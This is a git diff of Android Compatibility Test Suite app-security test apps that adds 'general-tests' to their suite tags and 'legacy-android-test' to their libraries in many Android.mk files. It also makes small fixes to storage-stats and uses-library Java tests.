diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
index e12feec..f844a78 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
@@ -28,7 +28,7 @@
 LOCAL_PACKAGE_SPLITS := mdpi-v4 hdpi-v4 xhdpi-v4 xxhdpi-v4 v7 fr de
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
 
@@ -48,7 +48,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
@@ -56,7 +56,7 @@
 LOCAL_PACKAGE_SPLITS := v7
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_MANIFEST_FILE := revision/AndroidManifest.xml
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
@@ -75,7 +75,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
@@ -83,7 +83,7 @@
 LOCAL_PACKAGE_SPLITS := v7
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 LOCAL_AAPT_FLAGS := --version-code 101 --version-name OneHundredOne --replace-version
@@ -101,7 +101,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
@@ -109,7 +109,7 @@
 LOCAL_PACKAGE_SPLITS := v7
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
 LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundred --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
index aea49c6..0603cc7 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
@@ -29,7 +29,7 @@
 LOCAL_MODULE_TAGS := tests
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 featureOf := CtsSplitApp
 featureOfApk := $(call intermediates-dir-for,APPS,$(featureOf))/package.apk
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
index b1e2002..e495ad3 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
@@ -24,6 +24,6 @@
 LOCAL_LDLIBS += -llog
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_SHARED_LIBRARY)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
index 51b91a4..fddee79 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_JAVA_RESOURCE_DIRS := raw
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
index dc1d703..cddda28 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_JAVA_RESOURCE_DIRS := raw
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
index 28c2190..9b67d24 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_JAVA_RESOURCE_DIRS := raw
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
index d1565e6..aed7253 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_JAVA_RESOURCE_DIRS := raw
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
index 383030c..7798a0c 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_JAVA_RESOURCE_DIRS := raw
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
index e9e71ee..8f604d3 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_JAVA_RESOURCE_DIRS := raw
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
index 87f0e4a..cf3dca1 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_JAVA_RESOURCE_DIRS := raw
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk b/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk
index 6367912..aa75be7 100644
--- a/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk
@@ -18,13 +18,13 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../StorageApp/src/)
 
 LOCAL_PACKAGE_NAME := CtsStorageAppA
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_DEX_PREOPT := false
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk b/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk
index 2177da1..c335f23 100644
--- a/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk
@@ -18,13 +18,13 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../StorageApp/src/)
 
 LOCAL_PACKAGE_NAME := CtsStorageAppB
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_DEX_PREOPT := false
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk b/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk
index abee640..173deb5 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk
@@ -18,14 +18,14 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := test_current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ub-uiautomator legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
 	$(call all-java-files-under, ../StorageApp/src)
 
 LOCAL_PACKAGE_NAME := CtsStorageStatsApp
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_DEX_PREOPT := false
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
index c543d73..713ba17 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
@@ -21,7 +21,6 @@
 import static com.android.cts.storageapp.Utils.CACHE_ALL;
 import static com.android.cts.storageapp.Utils.CODE_ALL;
 import static com.android.cts.storageapp.Utils.DATA_ALL;
-import static com.android.cts.storageapp.Utils.KB_IN_BYTES;
 import static com.android.cts.storageapp.Utils.MB_IN_BYTES;
 import static com.android.cts.storageapp.Utils.PKG_A;
 import static com.android.cts.storageapp.Utils.PKG_B;
@@ -141,7 +140,7 @@
         final StorageStats as = stats.queryStatsForUid(UUID_DEFAULT, a.uid);
         final StorageStats bs = stats.queryStatsForUid(UUID_DEFAULT, b.uid);
 
-        assertMostlyEquals(DATA_ALL * 2, as.getDataBytes(), 600 * KB_IN_BYTES);
+        assertMostlyEquals(DATA_ALL * 2, as.getDataBytes());
         assertMostlyEquals(CACHE_ALL * 2, as.getCacheBytes());
 
         assertMostlyEquals(DATA_ALL, bs.getDataBytes());
diff --git a/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk b/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk
index bfedb36..c3da07a 100644
--- a/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsTargetInstrumentationApp
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 # sign this app with different cert than CtsInstrumentationAppDiffCert
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
index f8db5aa..e4fba42 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
@@ -23,8 +23,9 @@
     android-support-test \
     compatibility-device-util \
     ctstestrunner \
-    ub-uiautomator \
-    legacy-android-test
+    ub-uiautomator
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
     ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java \
@@ -34,7 +35,7 @@
 LOCAL_PACKAGE_NAME := CtsUsePermissionApp22
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
 
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
index 9e6ea3e..58a639d 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
@@ -23,8 +23,9 @@
     android-support-test \
     compatibility-device-util \
     ctstestrunner \
-    ub-uiautomator \
-    legacy-android-test
+    ub-uiautomator
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
     ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
@@ -32,7 +33,7 @@
 LOCAL_PACKAGE_NAME := CtsUsePermissionApp23
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
 
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp24/Android.mk
index 739f220..a71f48b 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp24/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_PACKAGE_NAME := CtsUsePermissionApp24
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
 
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
index bda6782..80dc334 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
@@ -22,12 +22,12 @@
     ../PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/GrantUriPermission.java
 
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_PACKAGE_NAME := CtsUsePermissionDiffCert
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 # sign this app with a different cert than CtsPermissionDeclareApp
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk
index 581af78..7e5627f 100644
--- a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_PACKAGE_NAME := CtsUsesLibraryApp
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
 
diff --git a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java
index e73f47c..b9dc639 100644
--- a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java
@@ -77,11 +77,19 @@
             Object[] dexElements = getDexElementsFromClassLoader((BaseDexClassLoader) loader);
             assertTrue(dexElements != null && dexElements.length > 1);
 
+            // First dex file is either the shared library or the cts instrumentation library.
             DexFile libDexFile = getDexFileFromDexElement(dexElements[0]);
             String libPath = libDexFile.getName();
-            DexFile apkDexFile = getDexFileFromDexElement(dexElements[1]);
+            // The last dex file should be the test apk file: com.android.cts.useslibrary.
+            DexFile apkDexFile = getDexFileFromDexElement(dexElements[dexElements.length - 1]);
             String apkPath = apkDexFile.getName();
+
+            // In order to ensure the collision check is executed we use the apkDexFile when
+            // constructing the test class path for duplicates.
+            // We do not use the shared libraries apks because they are compiled with a special
+            // marker which may skip the collision check (b/37777332).
             String testPath = libPath + File.pathSeparator + apkPath + File.pathSeparator + apkPath;
+
             PathClassLoader testLoader = new PathClassLoader(testPath, null);
             Object[] testDexElements = getDexElementsFromClassLoader(testLoader);
             assertTrue(testDexElements != null && testDexElements.length == 3);
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
index 61d2493..9e4e0a2 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
@@ -18,16 +18,16 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util
-#ctsdeviceutil
+LOCAL_STATIC_JAVA_LIBRARIES := \
+	android-support-test \
+	compatibility-device-util \
+	legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
     ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
 
-LOCAL_JAVA_RESOURCE_DIRS := $(LOCAL_PATH)/res
-
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsWriteExternalStorageApp
 
diff --git a/hostsidetests/appsecurity/test-apps/keysets/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/Android.mk
index 7f116be..5b5fbed 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 # Build the test APKs using their own makefiles
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk
index 30384d0..9de77f52 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk
@@ -18,7 +18,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk
index da45804..5b75c49 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk
@@ -18,7 +18,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk
index eea2e11..41415e9 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk
@@ -18,7 +18,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk
index cefe00f..c4bc3a3 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
 LOCAL_DEX_PREOPT := false
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
@@ -38,6 +38,6 @@
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
 LOCAL_DEX_PREOPT := false
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk
index f031e4b..78b00b3 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_DEX_PREOPT := false
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
@@ -40,6 +40,6 @@
 LOCAL_DEX_PREOPT := false
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
index d1eeffa..51d8716 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
@@ -17,12 +17,12 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 LOCAL_PACKAGE_NAME := CtsKeySetTestApp
 LOCAL_DEX_PREOPT := false
 
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk
index 22c45a7..de64186 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
 LOCAL_DEX_PREOPT := false
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
@@ -36,7 +36,7 @@
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
 LOCAL_DEX_PREOPT := false
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
@@ -49,7 +49,7 @@
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-ec-a
 LOCAL_DEX_PREOPT := false
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
@@ -63,6 +63,6 @@
 LOCAL_ADDITIONAL_CERTIFICATES := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
 LOCAL_DEX_PREOPT := false
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk
index 340e8c7..d60df9d 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk
@@ -18,7 +18,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk
index 6389bf6..54ecb57 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk
@@ -18,7 +18,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
